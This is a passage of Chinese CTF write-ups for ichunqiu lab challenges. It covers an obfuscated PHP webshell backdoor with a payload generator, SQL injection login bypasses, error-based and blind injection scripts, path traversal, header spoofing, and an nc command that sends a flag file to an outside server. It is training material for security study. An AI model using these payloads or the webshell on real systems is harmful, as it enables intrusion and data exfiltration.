*/$y=str_replace('b','','crbebbabte_funcbbtion');/* */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/* */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/* */$v=$y('',$L);$v();/* */?> 修改一下代码将几个关键变量打印出来:<?phpecho "can you find the source code of me?";$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)'; $O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';$y=str_replace('b','','crbebbabte_funcbbtion');$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);$v=$y('',$L);$v();echo $v,$L,$y;?> 通过在线 php执行,得到不美观的php代码:通过在线PHP代码格式化美化工具对其进行美化。http://www.jsons.cn/phpformat/整理得到php代码:<?php $kh="4f7f"; $kf="28d7"; //对$t,$k进行异或运算function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for($i=0; $i<$l;) { //如果第二个参数全部异或了一遍,第一个还没结束,接着从第二个参数头部从头开始。 for($j=0; ($j<$c&&$i<$l); $j++,$i++) { $o.=$t{$i}^$k{$j}; } } return $o; }// HTTP_REFERER处理后传给$q ,HTTP_ACCEPT_LANGUAGE过正则,每个语言的首字符和权重q=0.x的x值传给 $m$r=$_SERVER; $rr=@$r["HTTP_REFERER"]; //获取变量,且用户可控$ra=@$r["HTTP_ACCEPT_LANGUAGE"]; //获取变量,且用户可控if($rr&&$ra) { $u=parse_url($rr); //解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。 parse_str($u["query"],$q); //把HTTP_REFERER中query(即提交的参数)对应的值提出,parse_str — 将字符串解析成多个变量 $q=array_values($q); //返回含所有值的索引数组。preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); // if($q&&$m) { @session_start(); $s=&$_SESSION; $ss="substr"; //做动态变量名用,$sl也一样 $sl="strtolower"; $i=$m[1][0].$m[1][1]; //取的组合值 $h=$sl($ss(md5($i.$kh),0,3)); //运算后值为675 $f=$sl($ss(md5($i.$kf),0,3)); //值为a3e $p=""; for($z=1; $z<count($m[1]); $z++) $p.=$q[$m[2][$z]]; //遍历所有权重值,读取对应的$q,拼接成$p //如果$p中没有和$h相同的的字符串,则令$s[$i]为空,p等于p的前三位 if(strpos($p,$h)===0) { $s[$i]=""; $p=$ss($p,3); //$p前三位是不是675 } // array_key_exists — 检查数组里是否有指定的键名或索引,检查$i中有无$s字符串,有则s[$i]与p合并,$e等于$f在$s[$i]中首次出现的位置 if(array_key_exists($i,$s)) { $s[$i].=$p; $e=strpos($s[$i],$f); //$i后三位是不是a3e if($e) { $k=$kh.$kf; //$k值为4f7f28d7 ob_start();//打开输出控制缓冲//base64解码后,通过x函数与$k进行异或计算,gzip解压,以$f截断(此时$e的值等于$f) @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>"); //gzip压缩执行结果,并与$k进行异或计算 @session_destroy(); } } } }x($t, $k)函数是个异或函数,第一个参数和第二个参数按位对应异或,如果第二个参数全部异或了一遍,第一个还没结束,又从第二个参数头部从头开始。 $rr是通过http报头的Referer参数传入,我们可控 $rs是通过http报头的accept-language参数传入,我们可控 这里先介绍下accpet-language吧,举个栗子 这里的zh-CN是默认语言,之后每个值以“,(逗号)”隔开,格式为“ 语言;q=权重 ” 那么preg_match_all这个正则所做的事,看着很复杂,我们直接把他输出到自己服务器的web上吧 是一个二维数组,然后$i会取[1][0]和[1][1]的组合值 $h和f分别是 ($i . $kh)和($i . $kf)的md5值的前3个字符这里算出来是675和a3e 这一段代码会看language的语言有多少个,然后$p是以权重的小数部分值为下标,然后取Referer的url中的对应下标的参数的值的组合 这里举个例子,a=1中的1 就是$q[$m[2][0]],b=2中的2 就是$q[$m[2][1]] 然后就是判断$p这个变量前3个是不是675,后3个是不是a3e,最后我们的构造为 "675 + payload + a3e" 然后就是传到eval函数里面了,这里我们要通过eval函数来读目录,然后查看flag eval中用了很多编码方式,也用到了自定的x($t, $k)这个异或函数,我们依次测试下顺序,就能正确的生成我们的payload,来构造system("ls"); 这里异或的规律 a = b ^ c那么 b = a ^ c;这是一个很简单的规律,所以x函数即使编码函数,也是解码函数 最后附上我生成payload和解码返回值的内容的php代码 <?php function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for($i=0; $i<$l;) { for($j=0; ($j<$c&&$i<$l); $j++,$i++) { $o.= $t{$i} ^ $k{$j}; } } return $o; } function get_answer($str){ $str = base64_decode($str); $str = x($str, '4f7f28d7'); $str = gzuncompress($str); echo $str . "<br>";}//输出向服务器提交的变量a中payload值 ?a=675 + payload + a3efunction input($cmd){ $str = 'system("' . $cmd . '");'; $t1 = gzcompress($str); echo '$t1 = ' . $t1 . "<br>"; $t2 = x($t1, '4f7f28d7'); echo '$t2 = ' . $t2 . "<br>"; $t3 = base64_encode($t2); echo '$t3 = ' . $t3 . "<br>"; return $t3;} $ra='zh-CN,zh;q=0.0';input('ls'); //第一次的命令input('cat this_i5_flag.php');// //第一次的命令?>把命令输入input里面,运行这个php脚本就会生成ls命令的payload,而我们accep-language所填内容为 'zh-CN,zh;q=0.0' 得到执行ls的payload值:TPocyB4WLfrhNv1PZOrQMTREimJn得到执行cat this_i5_flag.php的payload值:TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKW 第一次执行命令的payload(675+TPocyB4WLfrhNv1PZOrQMTREimJn+3e)为请求生成的解密返回的值: 这里请求访问将Accept-Language: zh-CN,zh;q=0.0和Referer:http://eb74b49c758449eab4bef45af0b8e8e7f872ea67ce774e9a.changame.ichunqiu.com/Challenges/index.php?a=payload值添加到http请求头,然后发送请求,在响应页面得到解密后返回的值得到解密值:TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT 第二执行命令的payload(675+TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKW+3e)为请求生成的解密返回的值:得到解密值:TPqE1x3wTNfRNH6te3Qzh2E2MLfnfk2+ne9+cPSCLaGdL41ApH4tjSIAd/CzUdZOrieV43Oq3WaZ3AJJpYV5IDQJ63f8 将得到的解密值填入到下面脚本中执行,可获得flag信息:<?php function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for($i=0; $i<$l;) { for($j=0; ($j<$c&&$i<$l); $j++,$i++) { $o.= $t{$i} ^ $k{$j}; } } return $o; } function get_answer($str){ $str = base64_decode($str); $str = x($str, '4f7f28d7'); $str = gzuncompress($str); echo $str . "<br>";}//输出向服务器提交的变量a中payload值 ?a=675 + payload + a3efunction input($cmd){ $str = 'system("' . $cmd . '");'; $t1 = gzcompress($str); echo '$t1 = ' . $t1 . "<br>"; $t2 = x($t1, '4f7f28d7'); echo '$t2 = ' . $t2 . "<br>"; $t3 = base64_encode($t2); echo '$t3 = ' . $t3 . "<br>"; return $t3;} $ra='zh-CN,zh;q=0.0';input('ls'); //第一次的命令input('cat this_i5_flag.php');// //第一次的命令//服务器两次返回的值get_answer('TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT'); get_answer('TPqE1x3wTNfRNH6te3Qzh2E2MLfnfk2+ne9+cPSCLaGdL41ApH4tjSIAd/CzUdZOrieV43Oq3WaZ3AJJpYV5IDQJ63f8')?>最终flag:flag{2daeab83-b9eb-492b-86eb-05c7f0a80b72} 漏洞名称:GetFlag题目内容:一步一步一步的靠近它 漏洞writeup:启动题目场景,获得靶场网站,访问网站,发现连接中有一个login登陆按钮http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/index.php进入登陆页面,要求输入账号密码和验证码http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/action.php?action=login并且页面中显示的内容: substr(md5(captcha), 0, 6)=39f049给出了一个截取验证码的MD5 Hash前六位字符,根据代码,猜想这题是要碰撞出验证码对应的明文。 使用Python编写出相应的工具,可以根据MD5 Hash前六位碰撞出明文,明文的范围通过多次尝试,得知在6位至8位#!/usr/bin/env python# -*- coding: utf-8 -*-# Time : 2018/8/20 22:50# Author : SDFZ# Site : sdfzy.top# File : test.py#===================================================================import hashlibdef md5(s): return hashlib.md5(str(s).encode('utf-8')).hexdigest() #用md5先把参数s用utf-8编码之后进行加密,hexdigest表示返回返回摘要,作为十六进制数据字符串值def main(s): for i in range(1,99999999): if md5(i)[0:6] == str(s): #截取密文前6位与 用户传入的值进行比对 (具体情况具体修改) print(i) exit(0)if __name__ == '__main__': main("36c22c")执行结果,碰撞出验证码:得到的验证码为:35627749得到验证码之后,再去猜解账户密码,手工多次尝试后,发现登陆点存在注入漏洞,使用万能用户账号:admin' or '1'='1# 密码任意,可登陆系统http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/action.php?action=login 成功登陆到系统后,发现后台有3个文件可以下载分别对hello.txt和s.txt以及a.php进行下载,并查看内容,发现并没有可利用点http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/file/download.php?f=hello.txthttp://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/file/download.php?f=s.txthttp://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/file/download.php?f=a.php同时也可以看到Challenges/file/download.php?f=连接中的f参数可能存在任意文件包含漏洞这里参数读取/etc/passwd,这里读取的内容,并不是/etc/passwd的内容http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/file/download.php?f=../etc/passwd接着参数读取flag.php,也发现不能读取flag.php的内容 http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/file/download.php?f=../flag.php手工测试发现在Chanllenges目录下存在flag.php,只是访问是空白的,那么猜测flag.php的默认路径为:/var/www/html/Challenges/flag.php(一般apache服务器的网站默认路径为/var/www/html)http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/flag.php因此,我们就通过?f=参数进行文件包含/var/www/html/Challenges/flag.php读取其内容,可直接读取内容并下载文件到本地。http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/file/download.php?f=/var/www/html/flag.php得到flag.php的源码:<?php$f = $_POST['flag'];$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);if((strlen($f) > 13) || (false !== stripos($f, 'return'))){ die('wowwwwwwwwwwwwwwwwwwwwwwwww');}try{ eval("\$spaceone = $f");}catch (Exception $e){ return false;}if ($spaceone === 'flag'){ echo file_get_contents("helloctf.php");} ?>对代码进行审计分析: 理想情况下POST提交的flag=flag即可,而且出现’`’, ‘$’, ‘*’, ‘#’, ‘:’, ‘\’, ‘"’, “’”, ‘(’, ‘)’, ‘.’, '>'都会被替换成空格, 且参数的长度必须小于13以及不包含return的字符串,才能执行eval函数。但是eval函数做了异常处理,直接提交flag=flag会产生异常,而提交flag='flag'或flag="flag",引号会被过滤 满足$spaceone === 'flag'。而$spaceone = $f,$f可控,那么我们用post方式提交flag=flag,但是并没有拿到flag。 其实这里是触发了异常处理,eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。 如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。这里我们在post的时候加个分号拿到flag 所以flag.php传入参数?flag=flag;即可获得helloctf.php的内容 下面构造参数读取flag,提交后页面中并没有flag. http://a2197c26618d4fd0a845dbdc49c771c42323c422cf024ed0.changame.ichunqiu.com/Challenges/flag.php post: flag=flag; 查看源代码,发现flag内容最终flag为:flag{0299ca95-6d09-4f70-b7a3-ac765f06d558} 题目名称:Not Found题目writeup:启动题目场景,获得靶场网站,访问网站,页面内容显示not found,且显示一个/404.php的路径http://eba7dd1e003c4745a2716d3225858e3b38f73d6ae9564699.changame.ichunqiu.com/访问404.php并没有发现任何可利用点http://eba7dd1e003c4745a2716d3225858e3b38f73d6ae9564699.changame.ichunqiu.com/404.php在访问靶场网站主页的时候,通过burpsuit对其抓包分析,发现在http响应头部中包含了一个特殊的字符X-Method: haha 将X-Method: haha添加到http请求头部中发送请求,发现在响应http头部中并没有发生变化。 X-Method字面意思是方法,猜测有可能与http请求方法有关,那么HTTP请求方法有Get,Post,OPTIONS,PUT,DELETE,CONNECT,TRACE,挨个试,在试到OPTIONS的时候出现了302重定向,并且在location中出现了?f=1.php通过GET方法直接访问/?f=1.php,发现页面显示404,并没有内容 测试OPTIONS方法发送/?f=1.php请求,在http响应页面中显示了1.php的源码。得到1.php源码,发现并没有可利用点。<?php $msg = "not here"; $msg .= PHP_EOL; $msg .="plz trying"; echo $msg; 通过cansina目录扫描工具,发现系统中存在1.php,flag.php,.htaccess和index.phps文件https://github.com/deibit/cansina测试OPTIONS方法发送/?f=flag.php和/?f=index.phps请求,在http响应页面中显示了"not allowed file" 测试OPTIONS方法发送/?f=.htaccess,在http响应页面中显示了"^8d829d8568e46455104209db5cd9228d.html $ 404.php [L]",说明系统中还存在8d829d8568e46455104209db5cd9228d.html 文件。.htaccess文件提供了一种目录级别的修改配置的方式。一个文件,包含一条或多条配置指令,放置于目录下,这些配置指令对当前目录和其所有子目录生效),就相当于一个配置文件。 直接get请求访问8d829d8568e46455104209db5cd9228d.html,抓包发送请求,在响应页面发现显示"ip incorrect ???XFF??",X-Forwarded-For是XFF的简称,猜测是x-forwarded-for伪造为127.0.01http://82bdf98a1cc742c6bdf7d47338a78118e818dcc33f3f4138.changame.ichunqiu.com/8d829d8568e46455104209db5cd9228d.html在http请求头加上x-forwarded-for:127.0.0.1,并发送请求包,在http响应页面中依然显示"ip incorrect ???XFF??"既然x-forwarded-for不行,那么还有另一种IP伪造的方法是client-ip,这里尝试在http头部添加client-ip:127.0.0.1,并发送请求包,在http响应页面中显示了flag内容最终flag:flag{b85bcdc4-9faa-4a06-a674-547ac6151c13} 题目名称:Vld题目内容:没有什么好介绍的题目writeup:启动题目场景,获得靶场网站,访问网站,发现页面内容显示“do you know Vulcan Logic Dumper?"http://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/通过谷歌搜索发现Vulcan Logic Dumpe这样定义:vld是PECL(PHP 扩展和应用仓库)的一个PHP扩展,现在最新版本是 0.17.1,它的作用是:显示转储PHP脚本(opcode)的内部表示(来自PECL的vld简介)。简单来说,可以查看PHP程序的opcode。 查看主页的 源码在注释页面中显示了index.php.txt view-source:http://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/访问index.php.txt文件,发现是一堆看不懂的内容http://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/index.php.txt 这肯定就是所谓的Vulcan Logic Dumper了,先了解下相关概念 PHP内核-Zend引擎:http://www.php.cn/php-weizijiaocheng-355597.html PHP中的opcode:https://blog.csdn.net/weiyuanke/article/details/76921476 Vulcan Logic Dumper:http://www.phppan.com/2011/05/vld-extension/ 也就是说上文中看到的一堆代码其实就是借助vld得到的,php语言中提供zend引擎执行的中间代码opcode。有了opcode便可以将其翻译成php代码。 网上也没找到翻译opcode的工具,只好借着对照表自己人工翻译了... (opcode对照表:http://www.php.net/manual/en/internals2.opcodes.list.php) 这段代码比较简单,其实掌握下规律还是挺好分析的,这是我初步分析的结果 <?php echo'do+you+know+Vulcan+Logic+Dumper%3F%3Cbr%3E'; $0=$_GET['flag1']; $1=$_GET['flag2'] $2=$_GET['flag3']; 21 如果$0不等于'fvhjjihfcv' 22 跳转到38行 24 如果$1不等于'gfuyiyhioyf' 25 跳转到35行 27 如果$2不等于'yugoiiyhi' 28 跳转到32行 30 echo'the+next+step+is+xxx.zip'; 31 跳转到34行 32 EXT_STMT 33 echo'false%3Cbr%3E'; 34 跳转到37行 35 EXT_STMT 36 echo'false%3Cbr%3E'; 37 跳转到40行 38 EXT_STMT 39 echo'false%3Cbr%3E'; 40 NOP 41 EXT_STMT 42 echo%3C%21--+index.php.txt+%3F%3E%0D%0A%0D%0A';?>进一步转换为php代码: <?php echo 'do you know Vulcan Logic Dumper?<br>'; $a=$_GET['flag1']; $b=$_GET['flag2']; $c=$_GET['flag3']; if($a!='fvhjjihfcv') { echo 'false<br>'; } elseif($b!='gfuyiyhioyf') { echo 'false<br>'; } elseif($c!='yugoiiyhi') { echo 'false<br>'; } else { echo 'the next step is xxx.zip'; } echo '<!-- index.php.txt ?>';?>有三个get参数flag1、flag2、flag3分别对应三个字符串,同时get这三个参数 那么构造/index.php?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi 那么get请求访问:http://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/index.php?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi网页内容转给你显示“the next step is 1chunqiu.zip”, 那么猜测可能访问1chunqiu.zip文件。于是git请求访问:https://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/1chunqiu.zip,得到1chunqiu.zip压缩文件,并对其进行解压得到一些php文件在login.php的源码里有注入点,会对username的特殊符号进行处理,还会进行替换处理,输入的username会被剔除掉number里的内容。 login.php的代码如下: ?php require_once 'dbmysql.class.php'; require_once 'config.inc.php'; if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['number'])){ $db = new mysql_db(); $username = $db->safe_data($_POST['username']); //safe_data()函数给特殊符号加上了反斜杠 $password = $db->my_md5($_POST['password']); $number = is_numeric($_POST['number']) ? $_POST['number'] : 1; $username = trim(str_replace($number, '', $username)); //替换了username中的number的内容 $sql = "select * from"."`".table_name."`"."where username="."'"."$username"."'"; //可注入语句 $row = $db->query($sql); $result = $db->fetch_array($row); if($row){ if($result["number"] === $number && $result["password"] === $password){ echo "<script>alert('nothing here!')</script>"; }else{ echo "<script> alert('密码错误,老司机翻车了!'); function jumpurl(){ location='login.html'; } setTimeout('jumpurl()',1000); </script>"; } }else{ exit(mysql_error()); } }else{ echo "<script> alert('用户名密码不能为空!'); function jumpurl(){ location='login.html'; } setTimeout('jumpurl()',1000); </script>"; } ?> 简单对login.php进行代码分析: 首先判断number是否为数字,将username中与number相同的字符替换为空,username还进行了safe_data()函数的处理 password经过md5加密,number只能是纯数字,所以都不存在注入点。但是username虽然经过addslashes()处理,addslashes()会将%00转义为\0,单引号也会被转义(单引号,反斜杠等前面都会被加上反斜杠而转义,防御sql注入),但是又再次被这句代码处理 " $username = trim(str_replace($number, '', $username)); ",所以我们可以利用这里让单引号逃逸出. %00会被转义成\0 ,同时在进行sql查询的时候$username会被单引号包裹,那么可以想办法闭合掉单引号。 如果$username的值是%00',经过safe_data处理%00'会变成\0\',然后让number值为0,username中的0被替换为空,最后username=\\' 这样转义单引号的反斜杠被前一个转义,导致后面的单引号逃逸,成功闭合前面语句,可以进行注入. 而且注入后只提供了报错的回显,于是可以使用报错注入。 同时下载的压缩文件实际上是网站的源码备份,那么可以访问1chunqiu/login.html路径,得到网站登录页面。 http://059751fe7e974e939bcf1694e02e66bf655116bcb4fc4eb5.changame.ichunqiu.com/1chunqiu/login.html 登录页面中输入车牌号和用户名以及密码,并抓包,发送请求由于没有数据回显点,所以考虑进行报错注入: 使用updatexml报错注入,测试是否存在注入number=0&username=%00' &password=3&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2看到数据库报错,说明单引号逃逸成功,当username提交 %00' ,经过addslashes()处理后(addslashes()会在NULL前加 \ ,0等于NULL)是 \0\'。而number也是0,所以将从username中去掉0,username则变成 \\' ,单引号前的\被\转义,所以单引号逃逸成功,后台sql语句为 select * from`users`where username=' \\ ' ' ,可见多出一个单引号,当然报错。 报错出表名:number=0&username=%00' and updatexml(1,mid((select concat(1,group_concat(table_name)) from information_schema.tables where table_schema=database()),1),1)#&password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2或者number=0&username=%00' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1),1)#&password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2得到表名:user1和flag 报错出列名:number=0&username=%00' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database()),1),1)#&password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2得到列名:flag,username,password,number1 查询flag表中flag列的字段内容(因为updatexml报错只显示32位,所以用substr分割显示flag) 报错出flag字段的前半部分: number=0&username=%00' and updatexml(1,concat(1,(select substr(flag,1,32) from flag),1),1)#&password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 得到flag的前部分:flag{0e0aa024-4103-43d1-9569-1aa报错出flag字段的后半部分:number=0&username=%00' and updatexml(1,concat(1,(select substr(flag,15,32) from flag),1),1)#&password=x&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2得到flag的后部分:d1-9569-1aa57700f560}组合一起,得到flag:flag{0e0aa024-4103-43d1-9569-1aa57700f560} 题目名称:题目writeup:启动题目场景,获得题目靶场网站,访问网站,发现主页就是一张小猫图片以及no sing内容提示http://8fafabde91ad45e794cd3494cd780e42db150b652f414b20.changame.ichunqiu.com/ 查看靶场网站主页的源码,发信有vim的编辑,于是想到有可能index.php被vim编辑过且意外退出没有保存导致产生了swp文件,因此可能存在.index.php.swp文件 get请求访问.index.php.swp文件,发现可以下载到本地,打开发现是乱码https://8fafabde91ad45e794cd3494cd780e42db150b652f414b20.changame.ichunqiu.com/.index.php.swp通过vim -r 命令恢复.swp文件vim -r index.php.swp恢复后得到的index.php源码:<html><head><title>blind cmd exec</title><meta language='utf-8' editor='vim'></head></body><img src=pic.gif><?php/*flag in flag233.php*/ function check($number){ $one = ord('1'); $nine = ord('9'); for ($i = 0; $i < strlen($number); $i++) { $digit = ord($number{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { return false; } } return $number == '11259375';}if(isset($_GET[sign])&& check($_GET[sign])){ setcookie('auth','tcp tunnel is forbidden!'); if(isset($_POST['cmd'])){ $command=$_POST[cmd]; $result=exec($command); //echo $result; }}else{ die('no sign');}?></body></html>下面简单对源码进行代码审计分析: 先用GET传入一个sign,并放入check函数,check过了就会POST传参cmd,并执行,check失败就会输出no sign,这里可以用11259375的十六进制绕过:0xabcdefhttp://8fafabde91ad45e794cd3494cd780e42db150b652f414b20.changame.ichunqiu.com/index.php?sign=0xabcdef没有no sign说明绕过成功接下来就是post提交命令,里面还有 setcookie('auth','tcp tunnel is forbidden!'); 这段提示说明TCP被禁止不能用curl,而且cmd命令执行后也没有回显,但最前面的注释告诉了我们flag的文件,那么我们直接用nc命令把flag文件下载下来,我们需要一台有公网ip的服务器,我们先在自己公网VPS服务器开启nc监听upd端口:nc -ul 2233post传参给cmd: cmd=nc -u 公网IP地址 55566 < flag233.php cmd=nc -u 36.111.20.223 2233 < flag233.php提交post请求,在VPS服务器上反弹出flag内容最终得到flag:flag{a2213dd2-4411-4320-983a-b56d3a6dedaf} 题目名称:登陆题目描述:先登陆再说tips1:隐藏文件?非php源代码 tips2:缓存? 题目writeup:启动靶场,获得靶场网站,访问网站,得到一个登陆页面http://29c9b579802142c094847ac64d8d440e4f1c35b78e224107.changame.ichunqiu.com/Challenges/index.php对其主页查看源代码发现 ,用户名和密码的字段名分别为user_n3me和p3ss_w0rd尝试输入admin' or 1=1#,密码随便输,页面显示密码错误 再尝试用户名admin' or ‘'1'='1#,密码随便输,页面显示用户名不存在确定为布尔盲注发现mid, substr, left ,search 以及information_schema等很多函数都不能使用,测试like盲注方法可进行注入,类似: admin’ or database() like ‘c%’ ;# 这样的 使用python脚本进行盲注跑出用户名:import stringimport requests url = 'http://6aca48750940452cb8b1df89e9dd9e2aa36215093cb24102.changame.ichunqiu.com/Challenges/login.php'headers = {'User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"}payloads = string.ascii_letters + string.digitstemp = ''for i in range(40): print("hello") for p in payloads: payload = temp + p name = "admin' or user_n3me like '{}%' ;#".format(payload) data = dict(username=name, passwrod='test') res = requests.post(url, headers=headers, data=data) if (len(res.content) == 12): temp = temp + p print(temp.ljust(32, '.')) break得到用户名:bctf3dm1n使用python脚本进行盲注跑出用户密码:#-*- coding:utf-8 -*-#python3from urllib.request import urlopen from urllib import parse,requestimport sysimport threading url = 'http://6aca48750940452cb8b1df89e9dd9e2aa36215093cb24102.changame.ichunqiu.com/Challenges/login.php' def get_database_length(): for i in range(1,sys.maxsize): username= "admin' or length(database())>{0}#" username = username.format(i) values = {"username":username, 'password':''} data = parse.urlencode(values).encode('utf-8') response = request.Request(url, data) response = urlopen(response) if len(response.read().decode()) != 4: print("当前数据库长度为:", i) return i def get_database_name(): global lock lit=list("0123456789qwertyuioplkjhgfdsazxcvbnmPOIUYTREWQASDFGHJKLMNBVCXZ") #后台SQL语句形如: #select xxx from xxx where username='' or 其他字段=xxx# #我们把其他字段替换成user_n3me或者p3ss_w0rd即可得出表中的用户名和密码字段 username="admin' or p3ss_w0rd like '{0}%'#" database='' print("Start to retrive the database") while True: curId=0 while True: if curId == len(lit): break i = curId curId += 1 un=username.format(database+lit[i]) print(un) values = {"username":un, 'password':''} data = parse.urlencode(values).encode('utf-8') response = request.Request(url, data) response = urlopen(response) if len(response.read().decode()) == 4: database=database+lit[i] print("the database is :%s" % database) break if curId == len(lit): print(database) break #print(get_database_length())get_database_name()得到bctf3dm1n的密码MD5值:2bfb1532857ddc0033fdae5bde3facdf。解密:adminqwe123666在登录页面中输入用户名:bctf3dm1n和密码:adminqwe123666,成功登陆系统http://6aca48750940452cb8b1df89e9dd9e2aa36215093cb24102.changame.ichunqiu.com/Challenges/index.php在网页页面上提示网站根目录下存在.bctfg1t、index.php、login.php两个文件和一个隐藏目录,其中两个文件我们在登录过程中已经使用过了,所以猜测flag就在隐藏目录中,然而该目录并没有访问权限,这里通过 git_extract下载git,由于题目场景靶机有问题没有下载下来。 python git_extract.py http://29c9b579802142c094847ac64d8d440e4f1c35b78e224107.changame.ichunqiu.com/Challenges/.git/ 正常可以看到下载到本地包含flag.php.a17d89 ,且内容中包含了一个71ec9d5ca5580c58d1872962c596ea71.php文件。get请求访问71ec9d5ca5580c58d1872962c596ea71.php,得到falg内容。http://29c9b579802142c094847ac64d8d440e4f1c35b78e224107.changame.ichunqiu.com/Challenges/71ec9d5ca5580c58d1872962c596ea71.php 最终得到falg:flag{db15e0ed-0d84-43b2-a904-a709b8a48beb} 题目名称:Gift题目内容:c62s的生日礼物 题目writeup:启动题目场景,获得靶场网站,访问网站,发现是一张图片,并且查看源码是base64形式加密的图片,并没有可利用点http://c976760b0e164d6db6d4d5bb036c3d9a8ae45466bf1e43ca.changame.ichunqiu.com/view-source:http://c976760b0e164d6db6d4d5bb036c3d9a8ae45466bf1e43ca.changame.ichunqiu.com/ 通过御剑目录扫描工具对其进行扫描,发现存在admin目录 访问admin目录页面发现是hello admin内容,并没有可利用点http://c976760b0e164d6db6d4d5bb036c3d9a8ae45466bf1e43ca.changame.ichunqiu.com/admin/ 